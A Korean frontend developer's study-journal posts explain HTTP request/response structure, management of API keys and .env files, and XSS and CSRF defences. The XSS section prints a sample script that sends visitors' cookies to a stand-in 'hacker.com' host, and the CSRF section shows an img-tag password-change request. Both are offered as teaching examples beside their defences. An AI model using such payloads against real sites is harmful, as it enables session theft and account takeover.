프론트엔드 기초 다시 쌓기 챌린지 21일차. Part 3: 네트워크 기초 시작!

Part 1에서 "코드가 사용자 화면까지 가는 과정"을, Part 2에서 "비밀 정보 관리"를 배웠다면, Part 3에서는 그 사이에서 일어나는 대화 — 네트워크를 배운다.

오늘의 핵심 질문:

"브라우저와 서버는 어떤 규칙으로 대화하는가?"

🍳 오늘의 비유: "주문서와 영수증"

손님이 아무렇게나 소리 지르면?
→ "야 뭐 좀 줘!" → 주방: "뭘요...?"

규칙이 있는 주문서를 쓰면?
→ 메뉴명, 수량, 테이블 번호가 적혀있음
→ 주방이 정확히 이해하고 음식을 보내줌

HTTP는 이 "주문서 양식"이다. 브라우저와 서버가 대화할 때 지키는 규칙.

HTTP = HyperText Transfer Protocol
     = 하이퍼텍스트를 전송하는 규칙(프로토콜)

📤 HTTP 요청 (Request) = "주문서"

브라우저가 서버에 보내는 메시지. 3가지 파트로 구성된다.

GET /api/products HTTP/1.1          ← 1. 요청 라인
Host: www.myshop.com                ← 2. 헤더
Accept: application/json
Authorization: Bearer eyJhbGci...
Cookie: session=abc123
                                    ← 빈 줄
(본문 없음)                          ← 3. 본문 (GET은 보통 없음)

1. 요청 라인 (Request Line) — "뭘 원하는지"

GET /api/products HTTP/1.1

GET           → HTTP 메서드 (어떤 행동?)
/api/products → URL 경로 (어떤 자원?)
HTTP/1.1      → HTTP 버전

2. 헤더 (Headers) — "부가 정보"

Host: www.myshop.com           → 어떤 서버에 보내는지
Accept: application/json       → 어떤 형식으로 받고 싶은지
Authorization: Bearer eyJ...   → 내가 누군지 (인증 정보)
Cookie: session=abc123         → 이전에 받은 쿠키

3. 본문 (Body) — "보내는 데이터"

GET 요청: 보통 본문 없음 (달라고만 하니까)
POST 요청: 본문에 데이터를 담아 보냄

POST /api/products HTTP/1.1
Content-Type: application/json

{
  "name": "새 상품",
  "price": 29000
}

📥 HTTP 응답 (Response) = "영수증 + 음식"

서버가 브라우저에 보내는 메시지. 마찬가지로 3가지 파트.

HTTP/1.1 200 OK                    ← 1. 상태 라인
Content-Type: application/json      ← 2. 헤더
Content-Length: 256
Set-Cookie: session=xyz789
                                    ← 빈 줄
{                                   ← 3. 본문 (실제 데이터)
  "products": [
    { "id": 1, "name": "티셔츠", "price": 29000 },
    { "id": 2, "name": "모자", "price": 15000 }
  ]
}

1. 상태 라인 — "결과가 어떤지"

HTTP/1.1 200 OK

200  → 상태 코드 (숫자)
OK   → 상태 메시지 (사람이 읽기 위한)

2. 헤더 — "부가 정보"

Content-Type: application/json  → 데이터 형식이 JSON
Content-Length: 256             → 데이터 크기
Set-Cookie: session=xyz789     → 이 쿠키를 저장해주세요

3. 본문 — "실제 데이터"

서버가 보내주는 JSON, HTML, 이미지 등 실제 내용.

🔍 Chrome DevTools에서 직접 보기

1. F12 → Network 탭 열기
2. 아무 사이트 접속
3. 요청 하나 클릭
4. Headers 탭 → 요청 라인, 헤더 확인
5. Response 탭 → 본문(실제 데이터) 확인
6. Status 열 → 200, 304, 404 같은 상태 코드

Day 3에서 Network 탭을 배울 때 봤던 것들이 다 HTTP 요청/응답이었다.

Day 3에서 본 것:   "브라우저가 JS, CSS 파일을 받아온다"
Day 21에서 아는 것: "GET 요청으로 파일을 달라고 하면 200 OK와 함께 파일이 온다"

💡 HTTP의 특징 2가지

1. 무상태 (Stateless) — "기억력이 없다"

HTTP는 이전 요청을 기억하지 못한다.

요청 1: "로그인할게요" → 응답: "성공!"
요청 2: "내 주문 내역 보여줘" → 응답: "누구세요...?"

그래서 매 요청마다 "나 이 사람이에요"라는 인증 정보를 같이 보내야 한다. 쿠키, 세션, JWT 같은 기술이 이 문제를 해결한다. (Day 30에서 자세히!)

2. 요청-응답 (Request-Response) — "물어봐야 답한다"

서버는 먼저 말을 걸지 않는다. 항상 브라우저가 먼저 요청해야 응답이 온다.

✅ 브라우저: "상품 목록 줘" → 서버: "여기 있어"
❌ 서버: "새 상품 나왔어요!" → (이런 건 안 됨)

"그럼 실시간 알림은?" → Day 32에서 배울 WebSocket이라는 다른 기술이 해결한다.

🔗 여러분 프로젝트와 연결

// 이게 사실 HTTP 요청이다!
const res = await fetch('/api/products');
const data = await res.json();

이 한 줄이 뒤에서 하는 일:

1. fetch가 HTTP 요청 생성 → GET /api/products HTTP/1.1
2. 서버로 요청 전송
3. 서버가 데이터를 찾아서 200 OK + JSON 데이터 응답
4. res.json()이 응답 본문을 파싱
5. data 변수에 상품 목록 저장

Day 19에서 배운 CSRF도 연결된다. <img src="우리사이트/api/delete?id=123">이 위험한 이유가, img 태그가 GET 요청을 자동으로 보내기 때문이다!

🍳 레스토랑 비유 업데이트

🎯 오늘 배운 것 최종 정리

1. HTTP란: 브라우저와 서버가 대화하는 규칙 (주문서 양식)
2. 요청 3가지 구성: 요청 라인(뭘 할지) + 헤더(부가 정보) + 본문(데이터)
3. 응답 3가지 구성: 상태 라인(결과) + 헤더(부가 정보) + 본문(실제 데이터)
4. 무상태 (Stateless): 이전 요청 기억 못 함 → 매번 인증 정보를 같이 보내야 함
5. 요청-응답: 서버는 먼저 안 말함, 항상 브라우저가 먼저 요청
6. fetch()의 정체: HTTP 요청을 만들어서 서버에 보내고 응답을 받는 것

🧪 이해도 체크

Q1. HTTP 요청의 3가지 구성 요소는? → 정답: 요청 라인(어떤 메서드로 어떤 경로에 요청할지) + 헤더(부가 정보) + 본문(보내는 데이터)

Q2. HTTP가 무상태(Stateless)라는 건? → 정답: 이전 요청을 기억하지 못한다. 그래서 매 요청마다 인증 정보(쿠키, JWT 등)를 같이 보내야 서버가 "아 이 사람이구나" 알 수 있다.

Q3. fetch('/api/products') 실행 시 뒤에서 일어나는 일은? → 정답: GET /api/products HTTP/1.1 요청 생성 → 서버 전송 → 서버가 200 OK + JSON 응답 → res.json()으로 파싱 → 데이터 저장

💭 회고

fetch()를 매일 쓰면서도 이게 HTTP 요청을 보내는 거라는 걸 제대로 의식하지 못하고 있었다.

오늘 HTTP 요청/응답 구조를 배우고 나니, Network 탭에서 보이는 것들이 전부 의미있게 다가온다. Day 3에서는 "파일을 받아오는구나" 정도였는데, 이제는 "GET 요청으로 JS 파일을 달라고 하면 200 OK와 함께 파일이 오는 것"이라는 걸 안다.

HTTP가 무상태라는 것도 재밌었다. 서버가 매번 "누구세요?"하는 건데, 그래서 쿠키나 JWT 같은 인증 기술이 필요한 거였다. Day 19에서 배운 CSRF도 여기서 연결된다 — 쿠키가 자동으로 같이 가니까 공격이 가능한 것.

매일 배울수록 이전에 배운 것들이 연결되는 게 느껴진다.

📚 다음 학습 예고

Day 22: HTTP 메서드 (GET, POST, PUT, DELETE) + REST API 오늘 배운 "요청 라인"에서 GET만 봤는데, POST, PUT, DELETE는 뭐가 다른지, REST API는 어떤 규칙인지 배운다.

#프론트엔드 #HTTP #네트워크 #요청 #응답 #fetch #2년차개발자 #기초다시쌓기

프론트엔드 기초 다시 쌓기 챌린지 20일차. Part 2: 환경변수·시크릿·보안 (Day 16~20) 완료!

오늘은 5일간 배운 환경변수·시크릿·보안을 하나의 흐름으로 연결하는 시간이었다.

🍳 레스토랑 스토리: Part 2편

Chapter 4: 비밀 관리 체계 구축 (Week 4)

Day 16: 메뉴판에 적어도 되는 정보 vs 주방에서만 알아야 하는 정보.
        NEXT_PUBLIC_ 붙으면 메뉴판(브라우저) 노출.
        빌드할 때 JS 파일에 값이 직접 박히기 때문이다.

Day 17: 지점마다 납품업체가 다르다.
        .env.development(본점), .env.production(실서비스).
        비밀 레시피 유출되면? 레시피를 바꾸는 게 먼저(키 무효화)!

Day 18: 납품업체 카드가 두 종류. 주문 카드(공개 키)와 정산 카드(시크릿 키).
        연습용(테스트 키)과 진짜(라이브 키)를 분리!
        라이브 키로 연습하면 진짜 결제가 돼버린다.

Day 19: 레스토랑을 공격하는 악당 등장.
        XSS: 메뉴판에 가짜 안내문 끼움 → React {}로 방어.
        CSRF: 밖에서 가짜 주문 보냄 → CSRF 토큰, POST 사용으로 방어.

🔄 비밀 정보의 전체 흐름

Part 1의 배포 파이프라인에 Part 2의 보안 지식을 합치면:

[1단계: 개발]
코드 작성 + .env.development에 테스트 키 사용
→ NEXT_PUBLIC_은 공개 값만!
→ 시크릿 키는 서버 사이드 코드에서만!

        ↓

[2단계: git push]
.env는 .gitignore에 등록 → git에 안 올림
.env.example만 올림 → 팀원 가이드용

        ↓

[3단계: CI/CD]
GitHub Secrets에서 비밀 값 가져옴
→ 코드에 시크릿 키가 노출되지 않음

        ↓

[4단계: 빌드]
NEXT_PUBLIC_ 값 → JS 파일에 직접 박힘 (브라우저 노출)
일반 환경변수 → 박히지 않음 (서버에서만 접근)

        ↓

[5단계: 서버 배포]
서버의 .env에 라이브 키 저장
→ 테스트 키가 아닌 라이브 키로 실서비스 운영

        ↓

[6단계: 사용자 접속]
브라우저에서 볼 수 있는 것: NEXT_PUBLIC_ 값만
서버에서만 처리되는 것: DB 비밀번호, 결제 시크릿 키
→ XSS/CSRF 방어가 적용된 안전한 사이트

        ↓

[사고 발생 시]
키 유출 → 키 무효화가 1순위 → 새 키 발급 → 3곳 업데이트

📋 핵심 개념 총정리: 한 줄 요약

⭐ "이것만은 꼭 기억하자" TOP 5

1. NEXT_PUBLIC_ = 전 세계 공개

붙이기 전에 항상 질문:
"이 값을 전 세계 누구나 봐도 괜찮은가?"
→ 괜찮다: NEXT_PUBLIC_ OK
→ 안 괜찮다: 절대 금지

2. 환경변수는 3곳에 동기화

내 컴퓨터 → .env.local (테스트 키)
CI/CD    → GitHub Secrets (라이브 키)
서버     → .env (라이브 키)
→ 3곳 중 하나라도 빠지면 문제 발생!

3. 유출되면 삭제보다 키 무효화가 먼저

.env가 git에 올라감
→ git에서 삭제해도 커밋 기록에 남아있음
→ 키 자체를 못 쓰게 만드는 게 1순위!

4. 테스트 키와 라이브 키를 절대 섞지 않기

라이브 키로 개발하면 → 테스트 결제가 진짜 결제!
.env.development → 테스트 키 (sk_test_)
.env.production  → 라이브 키 (sk_live_)

5. XSS는 안에서, CSRF는 밖에서

XSS:  우리 사이트 안에 스크립트 삽입
      → React {}, textContent, DOMPurify

CSRF: 해커 사이트에서 우리 사이트로 가짜 요청
      → CSRF 토큰, SameSite 쿠키, 중요한 API는 POST

🍳 레스토랑 비유 총정리 (Part 2)

🔗 Part 1 + Part 2 연결

Part 1 (Day 1-15): "코드가 사용자 화면까지 가는 과정"
  빌드 → CI/CD → Docker → 서버 → Nginx → 사용자

Part 2 (Day 16-20): "그 과정에서 비밀 정보를 안전하게 관리하는 법"
  NEXT_PUBLIC_ 구분 → 환경별 .env → 키 관리 → 보안 방어

Part 1이 "어떻게 배포하는가"였다면,
Part 2는 "배포할 때 비밀을 어떻게 지키는가"이다.

🧪 이해도 체크

Q1. 새 프로젝트 환경변수 세팅 순서는? → 정답:

1. .gitignore에 .env 관련 파일 추가 (가장 먼저!)
2. .env.development 생성 (테스트 키)
3. .env.production 생성 (라이브 키)
4. .env.local 생성 (내 컴퓨터 전용, 필요시)
5. .env.example 생성 (팀 가이드용, git에 올림)
6. GitHub Secrets에 라이브 키 등록 (CI/CD용)

Q2. 시크릿 키를 NEXT_PUBLIC_으로 git push해버렸을 때 대응 순서는? → 정답:

1. 키 즉시 무효화 + 새 키 발급 (1순위!)
2. NEXT_PUBLIC_ 제거 (시크릿은 서버 전용!)
3. git rm --cached .env로 git 추적 제거
4. .gitignore에 .env 추가
5. 새 키를 .env, GitHub Secrets, 서버에 업데이트

Q3. XSS와 CSRF 정의 + 방어 방법은? → 정답: XSS: 우리 사이트 안에 악성 스크립트를 심는 공격 → React {}, textContent로 방어 CSRF: 외부 사이트에서 우리 사이트로 가짜 요청 보내는 공격 → 중요한 API는 POST로, CSRF 토큰 사용

💭 회고

Part 2를 시작하기 전에는 .env 파일이 "그냥 값 넣는 파일" 정도였다.

5일 동안 배우고 나니 환경변수 관리가 보안의 핵심이라는 걸 체감했다. NEXT_PUBLIC_ 하나 잘못 붙이면 시크릿 키가 전 세계에 공개되고, .env를 git에 올리면 커밋 기록에 영원히 남고, 테스트 키와 라이브 키를 섞으면 진짜 결제가 돼버린다.

특히 인상 깊었던 3가지:

1. NEXT_PUBLIC_ 값이 빌드 시 JS에 직접 박힌다 — Day 2 빌드 과정과 연결되는 거였다
2. 키 유출 시 삭제가 아니라 무효화가 먼저 — Day 14 "고치기 전에 되돌려라"와 같은 원칙
3. CSRF는 페이지 방문만 해도 공격당한다 — img 태그 하나로 GET 요청이 자동으로 나감

Part 1에서 "어떻게 배포하는가"를 배웠고, Part 2에서 "배포할 때 비밀을 어떻게 지키는가"를 배웠다.

다음 Part 3에서는 "컴퓨터끼리 어떻게 대화하는가" — 네트워크 기초를 배운다. HTTP, DNS, CORS, JWT 같은 단어들이 드디어 나온다!

📚 다음 학습 예고

Part 3: 네트워크 기초 (Day 21~35) "컴퓨터끼리 어떻게 대화하는가?"

Day 21: HTTP란? 요청과 응답 구조 브라우저가 서버에 "이 페이지 주세요"라고 말하는 방법을 배운다.

#프론트엔드 #환경변수 #보안 #XSS #CSRF #API키 #2년차개발자 #기초다시쌓기

프론트엔드 기초 다시 쌓기 챌린지 19일차. Part 2 "환경변수·시크릿·보안"의 네 번째 수업.

Day 16~18에서 환경변수와 API 키 관리를 배웠다면, 오늘은 "해커가 우리 사이트를 어떻게 공격하는가? 그리고 어떻게 막는가?"를 배웠다.

🍳 오늘의 비유: "누가 우리 레스토랑에 몰래 뭔가를 한다"

공격 1 (XSS): 악당이 메뉴판에 몰래 가짜 안내문을 끼워 넣음
→ 손님이 진짜인 줄 알고 "여기에 카드번호 적어주세요"에 속음

공격 2 (CSRF): 악당이 다른 곳에서 단골 손님 이름으로 가짜 주문을 보냄
→ 손님이 자기도 모르게 비싼 코스요리 100인분 주문됨

💉 XSS (Cross-Site Scripting)

XSS가 뭐야?

해커가 우리 사이트에 악성 스크립트(JavaScript)를 몰래 심는 공격

어떻게 공격하는가?

쇼핑몰에 리뷰 기능이 있다고 하자.

일반 사용자의 리뷰:
"이 상품 너무 좋아요! 배송도 빨라요."

해커의 리뷰:
"좋은 상품이에요<script>document.location='https://hacker.com/steal?cookie='+document.cookie</script>"

이 리뷰를 그대로 화면에 보여주면 스크립트가 실행된다.

1. 다른 손님이 리뷰 페이지 방문
2. 해커가 심은 스크립트가 자동 실행
3. 손님의 쿠키(로그인 정보)가 해커 서버로 전송
4. 해커가 손님 계정으로 로그인!

어떻게 막는가?

방법 1: innerHTML 대신 textContent

// ❌ 위험! 사용자 입력을 HTML로 렌더링
element.innerHTML = userInput;

// ✅ 안전! 텍스트로만 처리 (스크립트 실행 안 됨)
element.textContent = userInput;

방법 2: React는 기본적으로 막아줌!

function Review({ content }) {
  return <div>{content}</div>;  // ✅ 안전!
  // <script>가 문자열로 보이고 실행 안 됨
}

React가 자동으로 특수문자를 변환해준다:

<script> → &lt;script&gt;
→ 화면에 "<script>"라는 글자로 보이고, 실행은 안 됨

⚠️ 하지만 React에서도 위험한 게 하나 있다!

// ❌ 위험! 이스케이프를 무시하고 HTML을 그대로 렌더링
<div dangerouslySetInnerHTML={{ __html: userInput }} />

// ✅ 꼭 써야 한다면 DOMPurify로 살균 먼저!
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />

이름이 dangerouslySetInnerHTML인 이유가 있다. 진짜 위험하니까!

방법 3: Content Security Policy (CSP) 헤더

Content-Security-Policy: script-src 'self'
→ "우리 도메인의 스크립트만 실행해라"
→ 해커가 외부 스크립트를 삽입해도 브라우저가 차단

🎣 CSRF (Cross-Site Request Forgery)

CSRF가 뭐야?

사용자가 자기도 모르게 우리 사이트에 요청을 보내게 하는 공격

핵심: 해커 사이트에서 우리 사이트로 몰래 요청을 보내는 것이다. 우리 사이트 안에 뭔가를 심는 게 아니다.

어떻게 공격하는가?

1. 내가 쇼핑몰에 로그인 중 (브라우저에 로그인 쿠키 있음)
2. 해커 사이트를 방문 (그냥 "귀여운 고양이 사진" 사이트일 수도 있음)
3. 그 페이지 HTML 안에 이게 숨어있음:
   <img src="https://myshop.com/api/change-password?new=hacker123" />
4. 브라우저가 이미지를 로드하려고 myshop.com에 요청을 보냄
5. 나는 myshop.com에 로그인 중이니까 쿠키가 자동으로 같이 감!
6. 서버: "로그인된 사용자가 비밀번호 변경 요청했구나" → 처리
7. 내 비밀번호가 바뀌어버림! 나는 아무것도 모름!

CSRF가 무서운 이유: 사용자가 아무것도 안 해도, 그냥 해커 사이트를 방문만 해도 공격이 진행된다.

피싱과 CSRF의 차이

처음에는 "우리 사이트를 똑같이 만들어서 속이는 건가?" 하고 헷갈렸다. 그건 CSRF가 아니라 피싱(Phishing)이라는 별개의 공격이다.

피싱:  가짜 사이트에서 사용자가 직접 정보를 입력하게 속임
       → "여기에 로그인하세요" → 사용자가 아이디/비밀번호 입력

CSRF:  아무 사이트에서 우리 사이트로 몰래 요청만 보냄
       → 사용자가 뭔가를 입력할 필요도 없음
       → 페이지 방문만 해도 공격 당함

어떻게 막는가?

방법 1: CSRF 토큰

서버가 매 요청마다 일회용 비밀번호를 발급한다.

1. 비밀번호 변경 페이지 접속 → 서버가 CSRF 토큰 발급: "xyz789"
2. 변경 요청 보낼 때 이 토큰도 같이 보내야 함
3. 토큰 맞으면 처리, 틀리면 거부
→ 해커는 이 토큰을 모르니까 요청 위조 불가!

방법 2: SameSite 쿠키 설정

Set-Cookie: session=abc123; SameSite=Strict
→ 다른 사이트에서 보낸 요청에는 쿠키를 안 보냄
→ 해커 사이트에서 요청해도 로그인 안 된 상태로 취급

방법 3: 중요한 요청은 GET이 아닌 POST로

❌ GET /api/delete?id=123
   → <img src="우리사이트/api/delete?id=123"> 로 쉽게 공격 가능

✅ POST /api/delete
   → <img> 태그로는 POST 요청을 못 보냄 → 공격 난이도 올라감

📊 XSS vs CSRF 한눈에 비교

✅ 프론트엔드 개발자 보안 체크리스트

✅ 1. 사용자 입력을 innerHTML로 렌더링하지 않기
✅ 2. dangerouslySetInnerHTML 쓸 때 반드시 DOMPurify로 살균
✅ 3. NEXT_PUBLIC_에 시크릿 키 넣지 않기 (Day 16)
✅ 4. .env를 git에 올리지 않기 (Day 17)
✅ 5. API 요청은 가능하면 POST 사용
✅ 6. 외부 데이터를 그대로 렌더링하지 않기
✅ 7. HTTPS 사용

요즘 대부분의 사이트와 브라우저는 이미 방어가 되어 있다. SameSite 쿠키가 기본값이고, HTTPS도 보편화되어 있다.

그래서 우리가 집중해야 할 건 "내가 만든 사이트는 괜찮은가?"다. 공격당하는 사용자 입장보다, 방어해야 하는 개발자 입장이 더 중요하다.

🔍 내 프로젝트에서 지금 바로 점검하기

1. 프로젝트에서 dangerouslySetInnerHTML 검색
   → 사용자 입력이 들어가는지 확인 → DOMPurify 적용!

2. 프로젝트에서 innerHTML 검색
   → 사용자 입력을 넣고 있다면 textContent로 변경

3. GET으로 데이터를 변경하는 API가 있는지 확인
   → 삭제, 수정, 결제 같은 건 POST/PUT/DELETE로

🍳 레스토랑 비유 업데이트

🎯 오늘 배운 것 최종 정리

1. XSS: 해커가 "우리 사이트 안에" 악성 스크립트를 심는 공격
2. XSS 방어: React {}는 자동 방어, dangerouslySetInnerHTML은 위험, DOMPurify로 살균
3. CSRF: 해커가 "다른 사이트에서" 우리 사이트로 가짜 요청을 보내는 공격
4. CSRF 방어: CSRF 토큰, SameSite 쿠키, 중요한 요청은 POST로
5. 피싱과 CSRF는 다르다: 피싱은 가짜 사이트로 속이는 것, CSRF는 몰래 요청 보내는 것
6. 핵심 관점: "내가 만든 사이트가 안전한가?" 방어하는 개발자 입장이 중요

🧪 이해도 체크

Q1. XSS와 CSRF의 차이는? → 정답: XSS는 우리 사이트 안에 악성 스크립트를 심는 공격. CSRF는 해커 사이트에서 우리 사이트로 가짜 요청을 보내는 공격. XSS는 "안에서", CSRF는 "밖에서".

Q2. React에서 안전한 방법과 위험한 방법은? → 정답: {content}는 안전 (자동 이스케이프). dangerouslySetInnerHTML은 위험 (이스케이프 무시). 꼭 써야 하면 DOMPurify로 살균.

Q3. 상품 삭제 API를 GET으로 만들면 위험한 이유는? → 정답: <img src="우리사이트/api/delete?id=123">처럼 img 태그로 GET 요청을 쉽게 보낼 수 있다. 로그인된 사용자가 해커 사이트를 방문만 해도 상품이 삭제될 수 있음 (CSRF 공격).

💭 회고

보안은 처음 들으면 헷갈리는 게 당연하다. 특히 XSS, CSRF, 피싱 이 세 가지가 처음에 섞였었는데 정리하고 나니 확실해졌다.

XSS:  우리 사이트 "안에" 코드를 심는다
CSRF: "밖에서" 우리 사이트로 요청을 보낸다
피싱: 가짜 사이트를 만들어 속인다

가장 인상 깊었던 건, CSRF는 사용자가 아무것도 안 해도 페이지 방문만으로 공격당한다는 것. <img> 태그 하나로 GET 요청이 자동으로 나간다는 게 충격이었다. 그래서 중요한 API는 POST로 만들어야 한다는 게 납득이 됐다.

그리고 React가 기본적으로 XSS를 막아주고 있다는 것도 새로 알았다. 평소에 {content}로 렌더링하는 게 당연했는데, 그게 보안 기능이었다니. dangerouslySetInnerHTML만 조심하면 된다.

📚 다음 학습 예고

Day 20: Part 2 회고 + 총정리 환경변수·시크릿·보안 5일간의 내용을 하나로 연결한다.

#프론트엔드 #보안 #XSS #CSRF #웹보안 #2년차개발자 #기초다시쌓기

프론트엔드 기초 다시 쌓기 챌린지 18일차. Part 2 "환경변수·시크릿·보안"의 세 번째 수업.

Day 16에서 NEXT_PUBLIC_ 규칙을, Day 17에서 .env 관리법을 배웠다면, 오늘은 API 키를 체계적으로 관리하는 실전 패턴을 배웠다.

🍳 오늘의 비유: "납품업체 카드가 두 종류다"

납품업체에서 카드를 두 장 줬다.

🔓 주문 카드 (공개 키 / Publishable Key)
   - 직원 누구나 써도 됨
   - 잃어버려도 큰 문제 없음 (주문만 가능하니까)

🔒 정산 카드 (시크릿 키 / Secret Key)
   - 사장님만 갖고 있어야 함
   - 잃어버리면 누가 돈을 빼갈 수 있음!

API 키도 똑같다. 대부분의 서비스가 공개 키와 시크릿 키를 한 쌍으로 준다.

🔑 공개 키 vs 시크릿 키

실제 서비스 예시

# Stripe (결제)
NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY=pk_live_abc123   # 🔓 공개 키
STRIPE_SECRET_KEY=sk_live_xyz789                      # 🔒 시크릿 키

# 카페24 API
NEXT_PUBLIC_CAFE24_CLIENT_ID=app_abc123    # 🔓 클라이언트 ID
CAFE24_CLIENT_SECRET=secret_xyz789          # 🔒 클라이언트 시크릿

# Google Maps
NEXT_PUBLIC_GOOGLE_MAPS_KEY=AIza_abc123    # 🔓 브라우저에서 지도 띄울 때
GOOGLE_MAPS_SERVER_KEY=AIza_xyz789          # 🔒 서버에서 좌표 변환할 때

이름으로 구분하는 법

🔓 공개 가능 (이런 이름이면 공개 OK)
   - publishable, public, client_id
   - pk_ 로 시작

🔒 비밀 (이런 이름이면 비밀!)
   - secret, private, server
   - sk_ 로 시작

판단이 안 되면 시크릿으로 취급한다. 안전한 쪽으로 가는 게 정답.

🧪 테스트 키 vs 라이브 키

거의 모든 API 서비스가 테스트 키와 라이브 키를 따로 준다:

테스트 키 (test/sandbox):
  - 실제 결제 안 됨, 개발할 때 사용
  - sk_test_..., pk_test_...

라이브 키 (live/production):
  - 실제 결제 됨, 실서비스에서 사용
  - sk_live_..., pk_live_...

# .env.development (개발용 - 테스트 키)
STRIPE_SECRET_KEY=sk_test_개발용키

# .env.production (실서비스 - 라이브 키)
STRIPE_SECRET_KEY=sk_live_실제키

⚠️ 개발할 때 라이브 키를 쓰면?

인증 에러가 나는 게 아니라 정상 작동해버리는 게 문제다!

테스트 키로 결제 → 가짜 결제 (돈 안 빠져나감) ✅
라이브 키로 결제 → 진짜 결제 (돈이 빠져나감!) 😱

개발하면서 테스트 결제를 10번 했는데 라이브 키였다면? 진짜로 10번 결제된 것이다. 고객 카드에서 실제로 돈이 빠져나간다.

레스토랑 비유: 연습 주문이라고 생각하고 10번 주문했는데, 진짜 납품처(라이브 키)로 보내서 실제 재료가 10번 배달되고 비용이 청구된 것.

그래서 .env.development에는 반드시 테스트 키를, .env.production에만 라이브 키를 넣어야 한다.

⭐ API 키 관리 Best Practice 5가지

1. 키 이름에 용도를 명확하게

# ❌ 나쁜 예: 뭐가 뭔지 모름
KEY1=abc123
KEY2=xyz789

# ✅ 좋은 예: 이름만 봐도 알 수 있음
NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY=pk_live_abc123
STRIPE_SECRET_KEY=sk_live_xyz789

2. 환경별로 키를 분리

# .env.development → 테스트 키
# .env.production  → 라이브 키

3. 키에 권한 제한 걸기

API 서비스 대시보드에서 키의 권한을 최소한으로 설정한다.

❌ 모든 권한이 열린 키 (읽기, 쓰기, 삭제, 관리자 전부)
✅ 필요한 권한만 열린 키 (읽기 전용 등)

레스토랑 비유: 직원 카드에 "식재료 주문만 가능, 한도 50만 원" 제한을 거는 것.

4. 키를 주기적으로 교체 (Key Rotation)

3~6개월마다:
1. 새 키 발급
2. .env, GitHub Secrets, 서버에 새 키 적용
3. 정상 작동 확인
4. 이전 키 삭제/무효화

키가 언제 유출됐는지 모를 수 있으니 주기적으로 바꾸면 피해 기간을 줄일 수 있다.

5. 키를 코드에 절대 하드코딩하지 않기

// ❌ 절대 이렇게 하면 안 됨!
const stripe = new Stripe("sk_live_xyz789_진짜키");

// ❌ 주석에도 쓰면 안 됨!
// API 키: sk_live_xyz789 ← git에 올라감!

// ✅ 항상 환경변수에서 가져오기
const stripe = new Stripe(process.env.STRIPE_SECRET_KEY);

📄 .env.example 실전 가이드

좋은 .env.example 작성법

# .env.example
# 이 파일을 .env.local로 복사한 뒤 실제 값을 입력하세요.
# cp .env.example .env.local

# ============================================
# 🔓 공개 키 (NEXT_PUBLIC_)
# ============================================

# Stripe 결제 (https://dashboard.stripe.com/apikeys)
NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY=pk_test_여기에입력

# Google Maps (https://console.cloud.google.com)
NEXT_PUBLIC_GOOGLE_MAPS_KEY=여기에입력

# 사이트 기본 설정
NEXT_PUBLIC_SITE_URL=http://localhost:4040

# ============================================
# 🔒 시크릿 키 (서버 전용)
# ============================================

# Stripe 결제 시크릿
STRIPE_SECRET_KEY=sk_test_여기에입력

# 데이터베이스
DATABASE_URL=postgresql://user:password@localhost:5432/mydb

# 카페24 API
CAFE24_CLIENT_ID=여기에입력
CAFE24_CLIENT_SECRET=여기에입력

# ============================================
# 📝 참고사항
# ============================================
# - 개발 시에는 test 키 사용 (sk_test_, pk_test_)
# - 프로덕션 키는 팀 리더에게 문의
# - 절대 이 파일에 실제 키를 입력하지 마세요!

포인트 정리

✅ 공개 키와 시크릿 키를 구분해서 정리
✅ 각 키를 어디서 발급받는지 URL 표시
✅ 설명 주석 달기
✅ 복사 명령어 안내
✅ "여기에입력" 같은 플레이스홀더 사용
❌ 실제 키 값을 절대 넣지 않기!

🔄 키 하나의 일생: 전체 흐름

[1. 키 발급]
API 서비스 대시보드에서 테스트 키 + 라이브 키 한 쌍 발급

[2. 키 저장 - 3곳에]
내 컴퓨터: .env.local에 테스트 키
서버: .env에 라이브 키
CI/CD: GitHub Secrets에 라이브 키

[3. 키 사용]
공개 키 → NEXT_PUBLIC_ 붙여서 브라우저에서 사용
시크릿 키 → 서버 사이드 코드에서만 사용

[4. 키 가이드]
.env.example에 "이런 키가 필요해요" 기록 → git에 올려서 팀 공유

[5. 키 교체 (3~6개월마다)]
새 키 발급 → 3곳 업데이트 → 이전 키 삭제

[6. 키 유출 시]
키 즉시 무효화 → 새 키 발급 → 3곳 업데이트

🔗 Day 16~18 연결: 환경변수 3일 총정리

Day 16: NEXT_PUBLIC_ 붙으면 브라우저 노출, 안 붙으면 서버 전용
        → 빌드할 때 JS 파일에 값이 직접 박히기 때문

Day 17: 환경별 .env 파일 + 유출 시 키 무효화가 1순위
        → .env.local > .env.development/.production > .env

Day 18: 공개 키 vs 시크릿 키 구분 + 키 관리 5가지 원칙
        → 테스트 키와 라이브 키 분리, 하드코딩 절대 금지

🍳 레스토랑 비유 업데이트

🎯 오늘 배운 것 최종 정리

1. 공개 키 vs 시크릿 키: publishable/pk_ = 공개 OK, secret/sk_ = 비밀!
2. 판단이 안 되면 시크릿으로: 안전한 쪽으로 가는 게 정답
3. 테스트 키 vs 라이브 키: 개발은 테스트 키, 실서비스는 라이브 키
4. 라이브 키를 개발에 쓰면: 에러가 나는 게 아니라 진짜 작동해버림 (진짜 결제!)
5. 키 관리 5가지: 이름 명확히, 환경별 분리, 권한 제한, 주기적 교체, 하드코딩 금지
6. .env.example: 공개/시크릿 구분, 발급 URL 표시, 플레이스홀더 사용

🧪 이해도 체크

Q1. pk_live_abc123과 sk_live_xyz789 각각 어디서 사용? → 정답: pk(공개 키)는 NEXT_PUBLIC_ 붙여서 브라우저에서 사용. sk(시크릿 키)는 서버 사이드 코드에서만 사용.

Q2. 개발할 때 라이브 키를 쓰면? → 정답: 인증 에러가 나는 게 아니라 정상 작동해버린다. 테스트 결제가 진짜 결제가 되어 실제로 돈이 빠져나감.

Q3. 새 팀원이 빠르게 프로젝트 세팅하려면? → 정답: .env.example이 잘 정리되어 있어야 한다. 어떤 키가 필요한지, 어디서 발급받는지, 공개/시크릿 구분까지 적혀있으면 빠르게 세팅 가능.

💭 회고

환경변수에 대해 3일 연속 배우고 있는데, 매일 "이건 몰랐다" 하는 게 나온다.

